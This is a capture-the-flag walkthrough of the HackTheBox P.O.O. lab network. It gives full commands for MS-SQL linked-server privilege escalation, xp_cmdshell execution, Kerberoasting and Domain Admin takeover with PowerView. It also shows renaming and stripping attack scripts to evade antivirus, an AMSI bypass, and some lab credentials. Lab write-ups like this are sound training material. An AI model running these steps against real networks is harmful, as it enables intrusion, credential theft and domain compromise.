HackTheBox - Endgame: POO - Walkthrough
Today we're going to be doing a pentest walkthrough of the Endgame P.O.O network hosted at https://hackthebox.eu . For this pentest, we'll be using a Kali Linux virtual machine as our attacking system and the P.O.O network as the victim systems. After connecting to the Hack the Box network via VPN, we see that our first target is located at 10.13.38.11.
Scanning and Enumeration
We'll start by scanning for open ports with Nmap:
nmap -T4 -p- 10.13.38.11
Now we'll do another Nmap scan, this time specifying the ports and picking up service names and version numbers:
nmap -sV -T4 -p80,1433 10.13.38.11
The IIS server version is 10, which probably means we're up against a Windows 10 or Server 2016 target.
We'll run a Nikto scan against the web-service:
nikto -h 10.13.38.11
Nikto identifies a hidden .DS_Store file on the web-server. After a bit of research, we learn that Ds_Store files on Windows machines can be used to enumerate web-directories on the server. The article we looked at it here:
https://miloserdov.org/?p=3867
So we download the Python script mentioned in the article:
git clone https://github.com/anantshri/DS_Store_crawler_parser
Then we use pip3 to install the requirements for the Python script.
pip3 install -r requirements.txt
We run the script, giving the URL of the target as an argument:
python3 dsstore_crawler.py -i http://10.13.38.11/
The alphanumeric string directories off of the /dev directory are good finds here, because those names are not going to be in any wordlists.
Now that we know the names of these two juicy directories, we can attempt to enumerate any files in them through the IIS Shortname vulnerability. There's a good scanner in Metasploit for this:
msfconsole
use scanner/http/iis_shortname_scanner
set rhosts 10.13.38.11
set path /dev/304c0c90fbc6520610abbf378e2339d1/db/
The scanner reveals that there's a txt file with a starting string of poo_co . In order to obtain the exact filename, we'll have to create a modified wordlist for our fuzzing program, then run it through Wfuzz.
cat /usr/share/wordlists/dirb/big.txt | grep ‘^co.*’ > COwords.txt
And then we run that wordlist with Wfuzz against the target:
wfuzz -z file,/home/kali/walks/htb/endgame-poo/COwords.txt -t 50 --sc 200 -u http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1/db/poo_FUZZ.txt
And now to investigate this txt file:
http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1/db/poo_connection.txt
We've collected our first flag and also captured some SQL user credentials. Let's try to login to MS-SQL now using the mssqlclient.py script from Impacket:
python3 mssqlclient.py -db POO_PUBLIC external_user:#p00Public3xt3rnalUs3r#@10.13.38.11
First, let's enumerate the users on the database and their privileges.
select suser_name();
select name,sysadmin from sys.syslogins;
It looks like our user doesn't have admin privileges. Let's check for other servers:
select srvname, isremote from sysservers;
There's a remote server instance we're connected to. Let's see which user we're running as over there:
EXEC ('select suser_name()') at [COMPATIBILITY\POO_CONFIG];
Our user on the POO_CONFIG server is internal_user. Let's check out the privileges for that user.
EXEC ('select name,sysadmin from sys.syslogins') at [COMPATIBILITY\POO_CONFIG];
Our user over at the POO_CONFIG server doesn't have admin privileges either. Let's check if that server is connected to any other servers:
EXEC ('select srvname, isremote from sysservers') at [COMPATIBILITY\POO_CONFIG];
We have a remote connection loop from POO_PUBLIC to POO_CONFIG back to POO_PUBLIC. Let's do a nested query to see which user is logged in on POO_PUBLIC from POO_CONFIG:
EXEC ('EXEC (''select suser_name()'') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];
And we finally find an admin user account on MS-SQL that we can use to execute commands with. We'll create a new admin user through the remote link back to POO_PUBLIC with the logged-in sa account:
(my natural instinct would be to give admin permissions to the external_user account, but that would interfere with other HackTheBox users using the same machine)
EXEC ('EXEC (''EXEC sp_addlogin ‘’''nobody'''', ‘’''abc123!'''''') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];
EXEC ('EXEC (''EXEC sp_addsrvrolemember ‘’''nobody'''', ‘’''sysadmin'''''') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];
And now to login as the newly created user:
python3 mssqlclient.py -db POO_PUBLIC 'nobody:abc123!@10.13.38.11'
Now that we have an admin account, we can properly enumerate the databases on the server:
select name from sysdatabases;
And further enumeration of this database reveals:
select table_name,table_schema from flag.information_schema.tables;
select * from flag.dbo.flag;
That's the MS-SQL flag down. Now to properly enumerate the system. While poking around, we find this configuration file in the c:\inetpub\wwwroot\ directory:
xp_cmdshell dir c:\inetpub\wwwroot\
But we don't have enough privileges to read it. We recall a trick on some MS-SQL servers which allows reading of files by executing Python script. We do a quick check to see this option is available:
execute sp_configure ‘external scripts enabled’, 1;
RECONFIGURE
exec sp_execute_external_script @language = N'Python', @script = N'print( “Testing123” );';
Our Python commands work, so let's read the web.config file:
exec sp_execute_external_script @language = N'Python', @script = N'import os; os.system("type C:\inetpub\wwwroot\web.config");';
We recall seeing an admin web directory that returned a 401 code when we did earlier web enumeration. Let's try to login to that section:
http://10.13.38.11/admin/
input basic auth: Administrator / EverybodyWantsToWorkAtP.O.O.
That's the Admin web flag down.
Foothold Enumeration
Further enumeration on the system reveals an extra listening port:
xp_cmdshell "netstat -ano"
Port 5985 is associated with WinRM, and if could open it up to our system, then we could authenticate into the system with Evil-WinRM. There are two ways to do this, access through misconfigured IPv6 or port forwarding. IPv6 is the easier path, so we check that first:
nmap -sV -p5985 -6 dead:babe::1001
Nmap reports that port 5985 is open via the IPv6 address. That means we can attempt to authenticate into the system via the Evil-WinRM program (assuming Administrator password reuse..).
But first, we have to add the IPv6 address for the Compatibility host to our /etc/hosts file, because that's the only way Evil-WinRM will accept IPv6 input:
sudo gedit /etc/hosts
Now to run Evil-WinRM:
evil-winrm -s /home/kali/walks/htb/endgame-poo/ -i COMPATIBILITY -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'
Let's see if there's a flag in the Admin's \Desktop directory:
cd c:\users\Administrator\Desktop\
dir
get-content flag.txt
Now we've collected our fourth flag. We want to enumerate the rest of the Active Directory environment using BloodHound AD, so we'll need to run SharpHound to ingest the environment info. First we have to download the SharpHound binary to our working directory:
wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe
And then upload the file via Evil-WinRM to a publicly writable directory:
cd c:\users\public\downloads\
upload SharpHound.exe c:\user\public\downloads\pointyPerro.exe
To execute the binary, we'll have to do it from our admin-priv MS-SQL shell, since we need to run SharpHound in the context of a Domain user in order for it to work:
xp_cmdshell c:\users\public\downloads\pointyPerro.exe -C All --outputdirectory c:\users\public\downloads\
Now to download the output zip file from WinRM:
download 20210310072442_BloodHound.zip
We unzip the file from our attacking system:
unzip 20210310072442_BloodHound.zip
Starting up the BloodHound AD service requires the following steps:
1) Start up the neo4j console
2) Access the login page on our web browser and log in
3) Start up the BloodHound service
First we start the neo4j console:
sudo neo4j console
Then we access the login page and login as username: neo4j and password: blood
http://localhost:7474/
Now that we're logged into the neo4j database, we'll startup BloodHound on our attacking system:
bloodhound &
Next, we upload the files from SharpHound to the database:
And finally, we determine the shortest path to Domain Admin from Kerberoastable Users:
With BloodHound's help, we've figured out that our path to Domain Admin should be through the p00_adm user, who is a member of the P00 Help Desk group, which has GenericAll privileges on the Domain, which means if we can access the account, we can, to any user, grant group membership to Domain Admins. Our next task will be to obtain p00_adm's Kerberos ticket for Kerberoasting. First, we'll copy the Invoke-Kerberoast.ps1 script to our working directory:
cp /usr/share/kerberoast/Invoke-Kerberoast.ps1 Invoke-DogFire.ps1
And just to add an extra layer of masking, we'll download the PowerStrip.py script and run it on the PoweShell script to wipe it's in-script comments. Running the script with the -s tag will also change the names of the functions in the script to prepend an extra copy of the first character in the name of the script. E.g. the Invoke-Kerberoast function will be renamed IInvoke-Kerberoast
wget https://raw.githubusercontent.com/yoda66/PowerStrip/master/powerstrip.py
python3 powerstrip.py -s Invoke-DogFire.ps1
mv Invoke-DogFire-stripped.ps1 Invoke-DogFire.ps1
Before we can run the Kerberoast script, we'll need to upload it using Evil-WinRM:
cd c:\users\public\documents\
upload Invoke-DogFire.ps1
Like the SharpHound executable, we'll actually interact with the script using the MS-SQL account, because we need to run the script in the context of a Domain user:
xp_cmdshell powershell -exec bypass -c import-module c:\users\public\documents\Invoke-DogFire.ps1; iinvoke-kerberoast -outputformat hashcat
We copy the p00_adm user hash, then paste it into a file we'll call p00_adm.kirbi. The format of the file is filled with extra lines and spaces, which we will remove with the following command:
cat p00_adm.kirbi | tr -d '[:space:]' > p00_adm.kirbi
We now attempt to crack p00_adm's password from the hash. Rockyou.txt will not be successful in cracking this hash, but it turns out that the Keyboard-Combinations.txt from Seclists held the correct password. We use Hashcat from a Windows machine for better performance:
hashcat -O -m 13100 p00_adm.kirbi Keyboard-Combinations.txt --force
Let's review our situation a bit. We've captured p00_adm's credentials, and they're a member of the POO Help Desk group, which has GenericAll privileges over the Domain Admins group. This means that we can use PowerView.ps1 to run commands as p00_adm, including promoting them to the Domain Admins group in order to enumerate the Domain Controller host. First, let's download the script to our working directory:
wget https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
Now we modify this script like we did our last one to minimize the chances of AV detection:
python3 powerstrip.py -s PowerView.ps1
mv PowerView-stripped.ps1 EnergyLook.ps1
With our modified exploit script setup, we can use Evil-WinRM and PowerView to give p00_adm Domain Admins membership, then use their account to enumerate the DC host. First, we use Evil-WinRM's built-in ability to disable the host's AMSI, then import our PowerView script (renamed EnergyLook.ps1):
From Evil-WinRM terminal:
menu
Bypass-4MSI
EnergyLook.ps1
Then we add some variables to our PowerShell session and add p00_adm to the Domain Admins group through PowerView's Add-DomainGroupMember function (renamed AAdd-DomainGroupMember by the powerstrip.py script).
$pass = ConvertTo-SecureString ‘ZQ!5t4r’ -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('intranet.poo\p00_adm', $pass)
AAdd-DomainGroupMember -Identity ‘Domain Admins’ -Members ‘p00_adm’ -Credential $Cred
Let's verify p00_adm's membership of Domain Admins:
GGet-DomainUser p00_adm -Credential $cred
And now to check our access to the Domain Controller as p00_adm:
Invoke-Command -Computer DC -Credential $cred -ScriptBlock { whoami; hostname }
Finally, let's search for the Domain Controller's flag file inside the C:\Users\ directory:
Invoke-Command -Computer DC -Credential $cred -ScriptBlock { gci -recurse C:\Users\ flag.txt }
Finally, we capture the Domain Controller's flag:
Invoke-Command -Computer DC -Credential $cred -ScriptBlock { get-content C:\Users\mr3ks\Desktop\flag.txt }
Cleanup
We've finished our objectives, but since this lab environment is shared, we want to delete any files we've uploaded to the servers, delete user accounts we've created, and revert user accounts we've modified.
First, let's remove the p00_adm user from the Domain Admins AD Group:
Invoke-Command -Computer DC -Credential $cred -ScriptBlock { net group “Domain Admins” p00_adm /del }
Then, from the context of MS-SQL login as the external_user account, we delete the ‘nobody’ account we created:
EXEC ('EXEC (''EXEC sp_droplogin ''''nobody'''''') at[COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG];
Summary
After initial scans, we found there was an IIS web server located on the Compatibility host. Enumeration of the web server resulted in the discovery of an exposed sitemap file (DS_Store), which was enumerated in tandem with the IIS server's Shortname vulnerability, leading to capture of user credentials to the MS-SQL service.
Investigation of the server's MS-SQL environment led to the discovery of MS-SQL admin user account access through misconfigured remote database server links. We then used that admin user account to create another admin-rivilege user account inside the MS-SQL service. With that MS-SQL admin account, we discovered that the MS-SQL environment allowed external script execution, which allowed us to capture the Compatibility host's local admin user account credentials from an exposed IIS configuration file. Further enumeration of the Compatiblity host revealed that it had an IPv6 address with an open connection to the Win-RM service.
Using the Win-RM service with the local admin credentials, we were able to further enumerate the network's Active Directory environment and discovered a Domain user account with elevated permissions over the Domain Admins group. We then performed a Kerberoasting attack against that user and with that Domain user's credentials were able to elevate that user's privileges to Domain Admins and capture the network's Domain Controller's objective flag file. We then conducted cleanup operations by reverting our Domain user's privileges and deleting our MS-SQL admin account on the Compatibility host.
Finish




































































Comments
Post a Comment